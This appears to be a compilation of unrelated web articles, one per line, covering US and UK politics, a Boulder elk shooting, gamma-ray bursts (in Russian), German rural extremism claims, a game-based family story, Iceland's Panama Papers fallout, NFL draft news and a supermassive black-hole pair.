-President Obama ’s State of the Union address soared — right over a familiar cliff.  The president simply couldn’t seem to escape his professorial past, to convey his passion and convictions in the plain words of plain folks, and to breach the chasm between the People’s House and people’s houses.  He’s still stuck on studious.  He seems to believe that if he does a better job of explaining his aggressive agenda, then he’ll win hearts and minds. It’s an honorable ambition, but it’s foolhardy. People want clear goals, clearly defined and clearly (and concisely) conveyed. They’re suspicious of complexity.  H.L. Mencken once famously opined, “No one in this world has ever lost money by underestimating the intelligence of the great masses of the plain people. Nor has anyone ever lost public office thereby.” I take exception to that. But if you change “intelligence” to “ attention span ,” I agree wholeheartedly.  Republicans know this well. Obama knows it not.  Take the enormous health care bill for instance. The president overreached, pushing a convoluted bill with a convoluted message. The Republican response: “Just say no.” They countered with a series of crisp attacks that shrouded the bill in a fog of confusion. Now it’s in danger, and the public may well blame the Democrats. People don’t care as much about process as they do about results.  Advertisement Continue reading the main story  According to a survey released this week by the Pew Research Center for the People and the Press, only 1 person in 4 knew that 60 votes are needed in the Senate to break a filibuster and only 1 in 3 knew that no Senate Republicans voted for the health care bill.
-A New York Times reporter covering the 2016 presidential campaign was quickly humbled on Twitter Thursday when he made a “telling” observation about C-SPAN’s coverage of Hillary Clinton’s Benghazi testimony.  “CSPAN screen encouraging Democrats to call one phone number and Republicans to call another to react to this hearing is….telling,” wrote Michael Barbaro, who has worked as a reporter for The Times for the past 10 years.  Twitter users were quick to point out that C-SPAN has been accepting calls like that for decades, The Blaze reported.  “They’ve been doing that for every call-in segment for thirty years,” wrote Christian Science Monitor’s Peter Grier.  “Except that is how they have done it FOR YEARS AND YEARS,” wrote The Atlantic’s James Fallows.  “[H]ave you never watched CSPAN?” asked New York Post columnist John Podhoretz.  Mr. Barbaro later responded, “Okay, CSPAN geeks, I get it. They do that all the time!”  Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.
-It is no secret that Alistair Carmichael is a friend of mine. Not least because he told parliament so in 2005:  “The Government’s signals to the Uzbek regime have not always been helpful. I am thinking especially of their treatment of my old friend, the former ambassador to Uzbekistan, Craig Murray, who has done us all a great service in graphically highlighting the appalling human rights record of the Uzbekistan Government.”  Alistair was one of very few MPs who raised the dreadful human rights abuses in Uzbekistan even before I got there. He has a genuine interest in human rights worldwide, and had a much better motivation in going into politics than the large majority of politicians. He was never anything like a diehard unionist in personal conviction. I felt quite proud for him when he was asked during the campaign what would his role be in negotiating for the UK the conditions of separation after a Yes vote. He replied that he was Scottish, and he would be on the Scottish, not the UK side.  I have never chosen my friends by my politics, and I am not one of those people who is only happy in the company of those who agree with me. I am happiest with a few drinks and a good argument in intellectually challenging company. I also do know that all human beings are flawed, and I don’t expect perfection. So I have no intention of ending friendship with Alistair.  All of which makes it hard, but I have to say that I really do think he needs to resign as an MP, and to do so immediately.  It was not just a mistake to leak that memo, it was wrong. It was even more wrong because he himself believed it was written in error and did not give Nicola Sturgeon’s true opinion. But in an election in which the Scottish Lib Dems faced wipeout, he saw the advantage of playing this trick. That was wrong on many levels. I would add that I feel very confident that Alistair would never have done it without consulting Clegg first. Clegg should resign too. And instead of the usual Cabinet Office stitch-up, there needs to be a real inquiry into the whole history and production of that extraordinary minute, and whether Alistair was set up to do it. The Scottish Government needs to be an equal partner in constituting that inquiry.  Alistair has no alternative but to resign because he then repeatedly lied about what he had done. It is much better that he goes now with a full and frank apology to everyone, especially his constituents. When you have blatantly and repeatedly lied about something, you cannot expect people to give you their trust again. That it even seems a possibility is an example of the erosion of ethical standards, of which Tony Blair is of course the greatest example as liar, mass murderer and multi-millionaire.  But we should not lose sight of the real lesson. The corrupt and rotten structures of the UK state are so insidious that they can take a fundamentally decent man like Alistair and lead him to behave so badly. There is something within the rotting organisms of UK institutions in their decline from Imperial power and dependence on corrupt banking and corporate systems, that infects almost all who enter them. While I worked for the FCO I saw really nice colleagues, decent men and women I worked with, go along with organising what they knew to be illegal war in Iraq, and with facilitating the torture and extraordinary rendition programmes. Because that was what paid their mortgage, looked after their children, and above all gave them social status as high British diplomats.  Westminster gives untramelled executive power to a party with just 23% of the support of the registered electorate. The majority of parliamentarians are unelected Lords a great many of whom are themselves mired in corruption – and some much worse. The organs of state power are used to facilitate the flow of money from the poor to the very wealthy, which is the actual cause of the deficit in public finances. The rewards of being on the inside are sweet; those outside are measurably dispossessed of wealth, and measurably alienated in politics. The media is controlled by this corporate state.  Alistair Carmichael’s story is not the story of a bad man. It is the story of what happens to a good man who buys in to UK power structures. The real lesson of the sad story of this period in Alistair’s life is that the UK is evil, corrupt and corrupting, and that the UK state needs swiftly to be broken up.
-While popular documentary films like Fahrenheit 9/11 and No End In Sight explored the consequences of the disastrous policies of the Bush 41 presidency, the ideas that shaped the foreign policy thinking of the Bush Administration, and people promoting those ideas, have received considerably less attention.  With the notable exception of the wonderful Adam Curtis series The Power of Nightmares, films on the the 2003 Iraq War and post-9/11 security paradigm have focused on policymakers and particularly on the public speaking pratfalls of President George W. Bush.  Two of the heavies with an agenda - the film has fascinating footage of the infamous couple  This deficit in more substantive ideological investigation is not a mystery. In the first instance, President Bush makes for an easy foil – it is hard to imagine a better example of a man of mediocre talents gaining position due to unearned privilege. Bush is not just an unexceptional presidential specimen, he is well below average – who ever heard of a politician who could not effectively speak in public? Bush’s communication failings alone were enough to keep Comedy Central in business for eight years. Everyone loves to hate a spoiled brat.  Combine President Bush’s laughable persona with his blunders abroad and the script writes itself – trust-fund dumbass given the keys to dad’s old imperial war machine which he then stupidly swerves and crashes into the Middle East. It is a story people can understand and one not without its fun in telling.  The second reason complements the first: policy and philosophy are painfully boring to a mass audience. It is not a coincidence that every TV show or movie about Washington DC – even ones with more sophisticated ambitions – throws in generous portions of superfluous violence, intrigue, and romance. Policy is dry and policy wonks are exceedingly uninteresting people.  And yet, understanding the Bush presidency and even our current circumstances requires at least a basic understanding of the ideas framing some of the agendas in DC and beyond. Enter Robbie Martin’s film seriesA Very Heavy Agenda.  The three-part series begins in the weeks after the 9/11 terrorist attacks when neoconservative thought leaders opportunistically used the country’s anxiety about another attack to push their agenda. A Very Heavy Agenda Part 1: “A Catalyzing Event,” details how Paul Wolfowitz, Bill Kristol, Robert Kagan and others shaped the policy response to the 9/11 attacks utilizing a playbook written at The Project For A New American Century (PNAC) well before the attacks .  Part 2: “How We Learned to Stop Worrying and Love The New Neocons,” picks up at the end of the Bush presidency, when the neoconservatives largely discredited by the Iraq War re-brand themselves and seek to resurrect past Reaganite glory by instigating conflict with Russia. PNAC is re-branded as The Foreign Policy Initiative (FPI), which pursues the same agenda with new lines of attack and operatives who make up for their lack of intellectual rigor with a savvier understanding of media manipulation.  In Part 2, the audience gets a look at the new “Information War,” where US state media, Russian state media, and those with various contradicting and corresponding interests battle it out on a host of platforms to control the narrative of the crisis in Ukraine and other world events.  Part 3: “Maintaining the World Order,” is set to be released in February and will provide an in-depth look at the role of the Kagan family and other neoconservative actors, who are still influencing and implementing US foreign policy. What are the ultimate ends and motivations for their very heavy agenda?  The series goes beyond simply broadening the understanding of the ideological dimension of the Bush years. It shows both the surprising continuity of neoconservative influence between the Bush and Obama Administrations, as well as how the neoconservatives adapted in the wake of their stunning policy failures in the Middle East.  Those responsible for the millions of deaths and trillions of dollars wasted on the failed War on Terror have quickly dismissed their own responsibility. They are marching forward with a new generation of neocons, who appear as equally determined as their predecessors to spill American blood and treasure in the quest for Western dominance of the world. Truly, a very heavy agenda.
-If you asked the average non-geek to name three superheroes, chances are they’d say Superman, Batman and Wonder Woman — arguably the most iconic comic book heroes in existence. It’s just as likely that few (if any) of these people would know anything about Lobo, a DC character who was introduced as a villain in the early ’80s.  So it would stand to reason that Wonder Woman, who has been a major part of the DC Universe since 1941, would get the big-screen treatment long before a second-tier player who had a run of popularity in the ’90s. But while Hollywood has yet to show Diana any love, Guy Ritchie — a legitimate filmmaker! — is set to direct a live-action movie about Lobo.  Lobo.  Look; it’s bad enough that Wonder Woman has gotten second-class citizen treatment compared to her alleged equals, Superman and Batman. They’ve both had several major motion pictures across several generations. The last time Wonder Woman enjoyed a big pop culture moment outside of comic books was when Lynda Carter donned the costume in the ’70s. You could chalk that up to garden variety sexism or just a serious failure of imagination on the part of DC-Warner Brothers. But when frickin’ Lobo gets to the big dance before she does, that’s just ridiculous.
-BOULDER — The two Boulder police officers involved in the shooting of an elk on Mapleton Avenue late Tuesday were placed on paid administrative leave Friday pending a personnel investigation by the Boulder Police Department.  Meanwhile, the Boulder County Sheriff’s Office has launched an internal investigation to determine what role an on-duty sheriff’s deputy played that night.  According to Boulder police, Officers Sam Carter and Brent Curnow have been placed on leave pending the investigation.  Curnow has been on the force for 14 years, while Carter is a five-year veteran.  At 9:35 a.m., Boulder Police Chief Mark Beckner tweeted: “Two officers involved in Elk shooting incident have been placed on Admin Leave w/pay pending the outcome of investigations.”  According to police, an officer on patrol near Mapleton Avenue and Ninth Street shot the elk with a shotgun Tuesday night after he said it appeared to be injured. An off-duty officer then arrived to haul away the elk and process it for meat.  The officer did not file a report or notify dispatchers about the incident.  A photo taken by a resident in the area shows Carter posing with the elk. Boulder police did not specify whether Carter or Curnow shot the animal but did specify that the on-duty officer was the one who took the shot. Carter was on duty the night of the shooting and Curnow was not, according to police records.  Cmdr. Rick Brough with the Boulder County Sheriff’s Office said Friday morning that the deputy who reportedly helped load the elk into a truck also is being investigated by that department but has not been placed on leave.  Brough said another deputy drove by the scene but does not appear to have been involved.  Both of the police officers also are under criminal investigation from Colorado Parks and Wildlife.  Samson’s Law, passed in 1998 after a well-known bull elk in Estes Park was killed by a poacher, adds substantial fines for the killing of trophy animals. The killing of a bull elk with six-point antlers or larger can carry a fine of up to $10,000, on top of the other criminal penalties for violating hunting rules.  In addition, hunting is never allowed within city limits.
-Звездный крик  Загадочные космические вспышки гамма-излучения, продолжавшиеся от нескольких секунд до нескольких минут, впервые были обнаружены в 1968 году американскими спутниками, предназначенными для наблюдений за советскими ядерными испытаниями. На небосводе гамма-вспышки наблюдаются появляются раз в день. По современным представлениям ученых, они возникают во время взрывов особенно крупных звезд и на первых фазах их превращения в черные дыры.  Когда такая звезда гибнет, сила притяжения порождаемой ими черной дыры или нейтронной звезды заставляет клубы материи бывшего светила. выбрасываемые в открытый космос, возвращаться назад и объединяться в "бублик", вращающийся вокруг центрального объекта. Часть этого диска поглощается черной дырой, а остатки разгоняются до околосветовых скоростей и выбрасываются во внешнее пространство в виде джетов, узких пучков материи.  Во время этой "раскрутки" материи погибающая звезда порождает столько энергии и света, сколько звезда класса Солнца вырабатывает за всю свою жизнь. То, как именно происходит этот процесс, ученые пока не знают, и спорят о его сути на протяжении последних 50 лет.  Кутырев и его коллеги сделали большой шаг к раскрытию тайны рождения гамма-всплесков, наблюдая за одной из последних вспышек такого рода, GRB160625B, возникшей в созвездии Дельфина на ночном небе северного полушария Земли в конце июня прошлого года и открытой в первые секунды после ее рождения космическим гамма-телескопом "Ферми". Загадочные космические вспышки гамма-излучения, продолжавшиеся от нескольких секунд до нескольких минут, впервые были обнаружены в 1968 году американскими спутниками, предназначенными для наблюдений за советскими ядерными испытаниями. На небосводе гамма-вспышки наблюдаются появляются раз в день. По современным представлениям ученых, они возникают во время взрывов особенно крупных звезд и на первых фазах их превращения в черные дыры.Когда такая звезда гибнет, сила притяжения порождаемой ими черной дыры или нейтронной звезды заставляет клубы материи бывшего светила. выбрасываемые в открытый космос, возвращаться назад и объединяться в "бублик", вращающийся вокруг центрального объекта. Часть этого диска поглощается черной дырой, а остатки разгоняются до околосветовых скоростей и выбрасываются во внешнее пространство в виде джетов, узких пучков материи.Во время этой "раскрутки" материи погибающая звезда порождает столько энергии и света, сколько звезда класса Солнца вырабатывает за всю свою жизнь. То, как именно происходит этот процесс, ученые пока не знают, и спорят о его сути на протяжении последних 50 лет.Кутырев и его коллеги сделали большой шаг к раскрытию тайны рождения гамма-всплесков, наблюдая за одной из последних вспышек такого рода, GRB160625B, возникшей в созвездии Дельфина на ночном небе северного полушария Земли в конце июня прошлого года и открытой в первые секунды после ее рождения космическим гамма-телескопом "Ферми".  Практически в первые же секунды после начала вспышки к наблюдениям присоединилась российская сеть роботизированных телескопов МАСТЕР, созданных под руководством Владимира Липунова из ГАИШ МГУ и расставленных в стратегически выбранных точках по территории всей планеты.  Танец электронов  Наблюдения за послесвечением вспышки, которые вели Липунов и его коллеги, помогли ученым впервые проследить за тем, в какую сторону "закручено" ее излучение и понять, какую роль в ее рождении играли магнитные поля и притяжение черной дыры.  Астрономы в прошлом считали, что вспышка гамма-всплеска может возникать по двум разным причинам – в результате взаимодействия магнитного поля черной дыры и "роя" окружающих ее частиц, или же в результате взаимного трения частиц материи звезды, падающих на нее и "выплевываемых" вместе с джетами.  Как пишут Липунов и его коллеги, данные по поляризации излучения GRB160625B указывают на то, что на самом деле в рождении этих вспышек виноват и тот, и другой механизм. Изначально рождением гамма-всплеска "дирижирует" магнитное поле черной дыры, однако на некотором расстоянии от сингулярности это поле ослабевает, и взаимодействия частиц материи начинают играть ведущую роль в формировании излучения.  "Синхротронное излучение, порождаемое электронами, "танцующими" в магнитном поле, является единственным механизмом формирования вспышки, который мог бы породить ту поляризацию и тот спектр гамма-всплеска, который мы наблюдали в первые мгновения после его начала. Открытие и доказательство этого является крайне важной вещью для нас, так как до этого нам не удавалось однозначно идентифицировать механизм, порождающий этот поток частиц света", — добавляет Элеонора Троя (Eleonora Troja), астроном из университета Мэриленда в Балтиморе (США).  Как отмечают астрономы, раскрытие механизма работы "самой мощной космической пушки" поможет астрономам понять, как часто возникают гамма-всплески, могут ли они рождаться в нашей Галактике и на каком расстоянии от Земли находится звезда, которая закончит свое существование подобным образом. Кроме того, это открытие указывает на то, что гамма-вспышки не являются источниками космических лучей высокой энергии, как считали раньше ученые, так как сильное магнитное поле черной дыры будет мешать их разгону. Практически в первые же секунды после начала вспышки к наблюдениям присоединилась российская сеть роботизированных телескопов МАСТЕР, созданных под руководством Владимира Липунова из ГАИШ МГУ и расставленных в стратегически выбранных точках по территории всей планеты.Наблюдения за послесвечением вспышки, которые вели Липунов и его коллеги, помогли ученым впервые проследить за тем, в какую сторону "закручено" ее излучение и понять, какую роль в ее рождении играли магнитные поля и притяжение черной дыры.Астрономы в прошлом считали, что вспышка гамма-всплеска может возникать по двум разным причинам – в результате взаимодействия магнитного поля черной дыры и "роя" окружающих ее частиц, или же в результате взаимного трения частиц материи звезды, падающих на нее и "выплевываемых" вместе с джетами.Как пишут Липунов и его коллеги, данные по поляризации излучения GRB160625B указывают на то, что на самом деле в рождении этих вспышек виноват и тот, и другой механизм. Изначально рождением гамма-всплеска "дирижирует" магнитное поле черной дыры, однако на некотором расстоянии от сингулярности это поле ослабевает, и взаимодействия частиц материи начинают играть ведущую роль в формировании излучения."Синхротронное излучение, порождаемое электронами, "танцующими" в магнитном поле, является единственным механизмом формирования вспышки, который мог бы породить ту поляризацию и тот спектр гамма-всплеска, который мы наблюдали в первые мгновения после его начала. Открытие и доказательство этого является крайне важной вещью для нас, так как до этого нам не удавалось однозначно идентифицировать механизм, порождающий этот поток частиц света", — добавляет Элеонора Троя (Eleonora Troja), астроном из университета Мэриленда в Балтиморе (США).Как отмечают астрономы, раскрытие механизма работы "самой мощной космической пушки" поможет астрономам понять, как часто возникают гамма-всплески, могут ли они рождаться в нашей Галактике и на каком расстоянии от Земли находится звезда, которая закончит свое существование подобным образом. Кроме того, это открытие указывает на то, что гамма-вспышки не являются источниками космических лучей высокой энергии, как считали раньше ученые, так как сильное магнитное поле черной дыры будет мешать их разгону.  Астрономы из МГУ и ряда зарубежных университетов и институтов получили первые детальные фотографии и данные по тому, как возникают загадочные гамма-всплески, чье изучение поможет ученым понять, что их порождает и угрожают ли они Земле, говорится в статье, опубликованной в журнале Nature. "Гамма-вспышки происходят на космологических расстояниях от нас, и некоторые из них случились практически в момент рождения Вселенной. Их появление невозможно предсказать, и когда вспышка происходит, их источник навсегда исчезает. Нам очень повезло, что мы смогли проследить за этим событием при помощи разных телескопов и с разных углов зрения, особенно в момент рождения вспышки, который крайне тяжело поймать", — рассказывает Александр Кутырев из Центра космических полетов НАСА имени Годдарда в Гринбелте (США).
-A New Hampshire man was arrested for growing marijuana on Wednesday after posting video documentation of his budding collection to YouTube.  Kyle Thomas Berry, 40, was arraigned Wednesday morning for possessing more than 15 marijuana plants in his home, a hefty collection that police estimated to hold a $16,000 value.  Investigators within the Rockingham County Sheriff’s Drug Task Force began their search for the Auburn, N.H., man shortly after they came across a YouTube channel containing 35 videos that detailed the full-length of the marijuana growing process, with titles ranging from the arcane “First & Second Grow-Rooms” to the celebratory “Merry Christmas,” wherein he takes the time to wish his viewers—Berry’s channel has 18 subscribers—happy holidays.  His most recent video, “YouTube 005,” finds Berry showcasing the elaborate setup found in his grow room.  Though he did go to some lengths to hide his visual identity from the clips, Berry did nothing to mask his voice and even less to keep any potential lines from being drawn between his operation and his legal identity. “The unpacking of my auto seeds from the UK,” from Oct. 17, shows a package that bears his first and last name. His YouTube channel contained his initials: Berry titled it BeginnergrowerKTB1.  Authorities reported that they began collecting information about Berry on Dec. 20, including his home address, a booking photo from a brief Nov. 2010 jail stint, and a picture from his driver’s license. They scanned his videos and found that one Oct. 26 clip shows a reflection of his face in a metallic wall and compared the legal photos to the image they saw before making the arrest.  On Tuesday, police charged Berry with illegal manufacture and possession of a controlled drug with intent to distribute. He was arrested Wednesday after deputies executed a search warrant. Police were able to locate the full lot of Berry’s growing stock, in addition to more than one pound of loose marijuana.  He is currently being held at the Rockingham County jail on a $7,500 cash bail.  Photo via Kyle Berry/YouTube
-Researchers of “extremism” have identified friendly, environmentally-conscious families living in the German countryside as likely dangerous radicals, and warn that rural living itself “is linked with racism”.  Marking country-dwellers with right-wing views as a problem, self-styled “antifascists” are hoping to get large numbers of migrants sent to rural settlements and have established welcome initiatives in preparation.  Welt informs readers that extremism researchers caution that “Volkisch families” pose a threat to the country. The term “Volkisch” relates to the German interpretation of populism and carries connotations of folksy and organic living.  Introducing Volkisch families, the daily newspaper writes: “They belong to no party, no union, and no organisation. They have no [political] voice and get no handouts. The term therefore [refers to] family groups who live in the countryside and are outwardly exemplary but internally right-wing.”  Describing a scene in which men, women, and children in traditional dress dance around a meadow, the newspaper warns that while such people look “basically quite harmless, they are not”.  Volkische families, Welt informs readers, are “friendly neighbours” who “grow vegetables and raise animals, keep bees, and produce electricity from photovoltaic systems”.  Other indicators to watch out for, it continues, are people who “show up as ‘greenies’ and engage in agriculture and crafts, argue against the planned highway 39 in their region, and they have a lot of children. The women bake cakes and get involved in parents’ meetings.”  The federal government views Volkische families as a danger to Germany, asserting that there is “a risk that nationalist settlers’ participation in regional ecology projects and in associations, educational institutions, church structures, and other groups will increase their acceptance [by society] and simultaneously [allow them] to spread their partially-racist ideology”.  Member of the far left Antifascist Action group Olaf Meyer, who go so far to keeps tabs on the activities of right-wing families they even spy on them from hedger, says right-wing extremists are often “young couples [who] buy farms and restore them together with their relatives and friends”.  Asked by the newspaper why he objects to “families meeting together, not committing crimes”, Meyer replies: “Because their concept of their lifestyle only applies to people they define as German”.  Seventy-year-old social worker Knut Jahn, who lives in a rural area, complains that in summer he and his wife are “surrounded” by “Nazis” who in summer hold “meadow festivals, [with] folk music and free beer”.  Rather than moving house, Welt explains that Jahn and a couple of his like-minded neighbours see themselves as spearheading the fight against fascism in the German countryside.  To combat right-wing activity they, along with antifascist groups, put up posters declaring “it’s a wonderful life without Nazis” and warn that Midsummer celebrations and similar events are not welcome in the area.  To combat the phenomenon of right-wing families living in the countryside Jahn says he “expects a lot of refugees” to come in future and that they have set up welcome initiatives in anticipation of this.  The controversial Amadeu Antonio Foundation cautions that there is “a link between rural life and racism”. In a report commissioned by the Federal Ministry of Internal Affairs, the foundation wrote: “The objective of [Volkisch families] is to affect everyday culture and build a self-sufficient economic network.”  “While at first glance the men and women seem just to be engaging in cultural and traditional activities, they don’t accept migrants, refugees, democrats, and homosexuals in their society,” the publication cautions.  Earlier this year the high-circulation German parenting magazine Baby & Family carried a special report, informed by the Amadeu Antonio Foundation, warning that families who are “cheerful” and “inconspicuous” could be right wing and thus “dangerous”.  The foundation, which was founded and is chaired by ex-Stasi agent Anetta Kahane and fights against conservatism in Germany, runs the government’s online crackdown on people who criticise open door mass migration and the violent behaviour of migrants towards the German people.
-After hours of labor and one stressed out mama, Faith Hale was born and thankfully she was most definitely Jebediah’s child! She was born a Friendly Couch Potato. Lizzie was so excited that it wasn’t Omari’s child. She could now have the perfect life she has been wanting.  George and Kayla loved being grandparents. Kayla was in playing with Faith all the time and George was learning the guitar so he could sing to her at night. Living with Faith now made them wish they would have had more kids when they were younger. But for now grand kids would do and they both wished for at least 5!  Lizzie and Jebediah had no problems adjusting to life as parents. They loved taking on the all the responsibilities. Jebediah threw himself into his work in order to bring in more money while Lizzie was on maternity leave. He spent a majority of his time at the computer but he made sure to break away from time to time to cuddle his little girl.  After a couple weeks Lizzie made her way back to the alchemy table but she was a little rusty. She didn’t think it would have an effect on her, but it did. She accidentally mixed two potions that exploded and turned her into a toad. She freaked out and ran home. She didn’t want anyone to see her like this but she didn’t know how to fix it.  That night, Jenri came over to announce her second pregnancy! Kayla was so excited and spent most of the time feeling and talking to her tummy. Then out of no where she started to feel dizzy. She stood up and realized what was happening. Her time had come. She looked back on her life, her three daughters, her 3 (and a half) grandchildren, her house, her job, the love of her life, and smiled. She did everything she wanted to, seen everyone and everything she wanted to. Kayla lived her life to the fullest. So when Grim came to greet her she just shook his hand and went willingly.  Lizzie was devastated. After Faith was born she thought she was going to have a perfect life. But now her mom had died and she was still a toad with no idea how to fix it. She spent most of her time eating flies or at the alchemy station trying to figure out what to do. She wasn’t able to care for Faith because she screamed every time she looked at her mom. Lizzie was desperate to fix this.  After days of research she finally found the solution. All she needed was true love’s kiss (sounds a little corny and fairy tale like to me..) So she ran to Jebediah.  L: “Please *ribbit* all you need to do is kiss me *ribbit* and I will be back to normal!”  At first Jebediah was appalled at the idea. But he wanted his beautiful wife back. So he closed his eyes, puckered up, turned her head, and planted a kiss on the side of her slimy scaly face. She started to smoke a green colored smog and then *poof* she was back to normal. The first thing she did (after kissing Jebediah realizing he was her true love) was go and cuddle Faith.  Speaking of Faith, it is time for her birthday! Lizzie is sad that she missed most of her child’s infancy due to the toad curse, but she couldn’t wait to see how beautiful her little girl would grow up to be!  Advertisements
-The release of the Panama Papers will have a huge impact around the world. But Iceland deserves some particular attention.  According to documents leaked from Panamanian law firm Mossack Fonseca, several Icelandic politicians, former bankers and government advisers have had links to anonymous offshore companies. Among them, are three members of the Icelandic government: the prime minister, Sigmundur Davíð Gunnlaugsson, the finance minister, Bjarni Benediktsson and the interior minister, Ólöf Nordal.  The public reaction has been rapid and vehement. Within hours of the revelations, protests were being planned. Off the back of these accusations, these three politicians face the potential collapse of their right-wing coalition government. Gunnlaugsson has stepped aside, but seems to be denying that this amounts to a resignation.  Turbulent times  The Icelandic political landscape has changed drastically since October 2008, when the North Atlantic island was hit by the global recession. Back then, three of Iceland’s largest banks, Kaupthing, Landsbanki and Glitnir, faced default as a result of their aggressive expansion strategies.  In response, the Icelandic parliament passed an emergency act enabling the authorities to intervene in their operations. The Icelandic króna dropped in value against other currencies and the government of the time (a coalition between the right-wing Independence Party and the left-wing Social Democratic Alliance) decided not to intervene.  As a result of the collapse, the country entered a recession. Inflation and unemployment skyrocketed. Peaceful protests known as the “pots and pans revolution” started on the streets of Reykjavik. A new political party, the Citizen’s Movement (later renamed The Movement), emerged from these protests and included Birgitta Jónsdóttir, who would later co-found the Icelandic Pirate Party.  The government collapsed in January 2009 and early elections were held. The Citizen’s Movement entered parliament and the Independence Party, which had been in power for 18 consecutive years, lost nine of its 27 seats. The Social Democratic Alliance formed the first left-wing government in Iceland’s history as part of a coalition with the Left-Green Movement.  The new government applied to join the European Union, bankers were jailed, and most importantly, a Constitutional Assembly composed of Icelandic citizens was formed in 2011 to draft a new constitution.  However, the left-wing government proved unpopular. It was defeated in referendums over the Icesave dispute and unemployment remained high by Iceland’s standards. The application for EU membership divided the population, and there were internal disputes between coalition partners.  The government lost the 2013 elections, and a right-wing coalition composed of the Progressive and Independence parties, led by Gunnlaugsson, was formed.  But this administration has taken a series of extremely unpopular decisions. It froze the constitutional reforms and EU accession talks, despite promising a referendum on the latter. In May 2015, thousands of protesters called for the government to resign and listed a series of 99 reasons including allegations of corruption.  What next?  The Panama Papers will exacerbate tensions between politicians and the population. Early elections are a real possibility, especially since a motion of no confidence is being prepared by opposition parties.  And, surprising as it may sound, that could mean the Pirate Party will form at least part of the next government. Despite currently only holding three seats in parliament, the group is polling miles ahead of the pack.  The most recent poll (conducted before the release of the Panama leaks) suggests the Pirate Party would get 36.1% of the votes if an election were called. That’s more than the coalition’s Progressive and Independence parties combined.  That could well mean that this group, which campaigns for direct democracy, transparency, net neutrality and freedom of expression, could form a government.  The likely success of the Pirate Party in Iceland could inspire other Pirate Parties across Europe. So far, the electoral success of these groups has been limited to Iceland and, to a lesser extent, Sweden and Germany. They have tended to be seen as single-issue parties. Julia Reda is currently the only Pirate elected in the European Parliament.  However, should the people of Iceland begin a peaceful revolution, it could increase the visibility of other Pirate parties across Europe, and possibly lead to the emergence of a successful transnational political movement.  This article has been updated to reflect Sigmundur Davíð Gunnlaugsson’s announcement that he is to step aside as Prime Minister.
-The latest quarterback prospect that the New England Patriots have shown interest in, is former Boston College signal caller Chase Rettig. According to Mike Reiss of ESPN Boston, the Pats brought Rettig in to Foxboro as part of their local prospect day.  It won’t generate the same buzz as in-house visits with top prospects Johnny Manziel and Teddy Bridgewater, but the Patriots continued to focus on the quarterback position Friday by inviting Boston College’s Chase Rettig to Gillette Stadium as part of their local prospect day. One difference with Rettig’s visit is that he actually worked out for team officials, along with other local prospects.  Unlike their interest in the likes of Johnny Manziel, Teddy Bridgewater, and Blake Bortles, I think the Pats could potentially act on Rettig. He is not a first round pick, which would allow New England to address more important needs early, and then in the later rounds (if that), pick up a solid young quarterback.  Rettig played four seasons with the Eagles, completing an average of 55% of his passes, totaling 8,248 yards, and tossing 52 touchdowns.
-Artist's conception of the pair of supermassive black holes orbiting each other at the center of galaxy 0402+379, located 750 million light-years from Earth.  For the first time ever, scientists have directly spotted a pair of supermassive black holes orbiting each other, a new study suggests.  This orbital motion — which was noted in observations made over the course of a dozen years — may be the smallest-ever movement detected of an object across the sky, the researchers said.  Supermassive black holes harbor millions to billions of times the mass of Earth's sun and form the hearts of most, if not all, large galaxies. Much remains uncertain about how these giant black holes grow and influence the universe around them. [Images: Black Holes of the Universe]  One way to gain insights on black hole growth is to look at black holes on the verge of merging with one another. As such, researchers have analyzed the center of a giant elliptical galaxy called 0402+379, which is located about 750 million light-years from Earth. In 2006, scientists found that the galaxy's core apparently holds two supermassive black holes.  Judging by the gravitational effects these black holes had on their surroundings, the two behemoths harbor a combined mass about 15 billion times that of the sun, the researchers said. It remains uncertain just how big each black hole is, but the limited data that astronomers currently have suggest that one of the black holes might be two or even four times bigger than the other, said study co-author Roger Romani, an astrophysicist at Stanford University.  These black holes are likely only about 24 light-years apart, "which is the closest together that two supermassive black holes have ever been seen before," study lead author Karishma Bansal, a graduate student at the University of New Mexico in Albuquerque, said in a statement.  The presence of these giant black holes so close together suggested that the galaxy in which they lie resulted from dozens of galaxies merging sometime in the past, the researchers said. This raises the possibility that the two black holes themselves might one day merge also, the scientists said.  Very Long Baseline Array image of the central region of galaxy 0402+379, showing a pair of supermassive black holes (labeled C1 and C2) in orbit around each other. (Image: © Bansal et al., NRAO/AUI/NSF)  To see whether that will happen, the scientists have taken snapshots of the black holes' home galaxy over the past 12 years, using the Very Long Baseline Array, a system of 10 radio telescopes that stretch from the U.S. Virgin Islands to Hawaii and from New Mexico to Alaska.  In the new study, the scientists detected one of the black holes moving at the rate of just more than 1 micro-arcsecond per year. That's about 1 billion times smaller than the smallest thing visible with the naked eye, the researchers said.  "If you imagine a snail on the recently discovered Earth-like planet orbiting Proxima Centauri — a bit over 4 light-years away — moving at 1 centimeter [0.4 inches] a second, that's the angular motion we're resolving here," Romani said in the same statement.  This may be the smallest-ever movement detected of an object across the sky, the researchers said. "Personally, I find the technical tour de force of measuring this tiny motion most impressive," Romani told Space.com.  The new findings suggest that these black holes are orbiting each other, completing a single orbit over the span of about 30,000 years, the researchers said. This is the first time scientists have detected supermassive black holes orbiting each other, study co-author Greg Taylor, at the University of New Mexico, said in the same statement.  In the past year or so, researchers have detected ripples in the fabric of space and time, known as gravitational waves. These waves emanated from pairs of black holes, each up to a few dozen times the sun's mass, in the final stages of their orbits of one another before they collided. In contrast, these new findings mark the first time astronomers have directly analyzed images to detect a pair of black holes orbiting each other, Romani said.  Although these supermassive black holes are orbiting one another, they may never meet, Romani said. The universe apparently continues to expand at an accelerating rate, suggesting that the duo "won't merge in the remaining age of the universe," he said, unless some force, such as friction from surrounding clouds of gas, brings the black holes together.  By investigating why supermassive black holes might or might not merge, the researchers may be able to better learn the conditions under which black holes normally grow, the scientists said. Romani said he hopes that future research will uncover a pair of supermassive black holes "that completed orbit within a few decades, so you could really see the details of the black holes' trajectories."  The scientists detailed their findings June 27 in the Astrophysical Journal.  Follow Charles Q. Choi on Twitter @cqchoi. Follow us @Spacedotcom, Facebook and Google+. Originally published on Space.com.
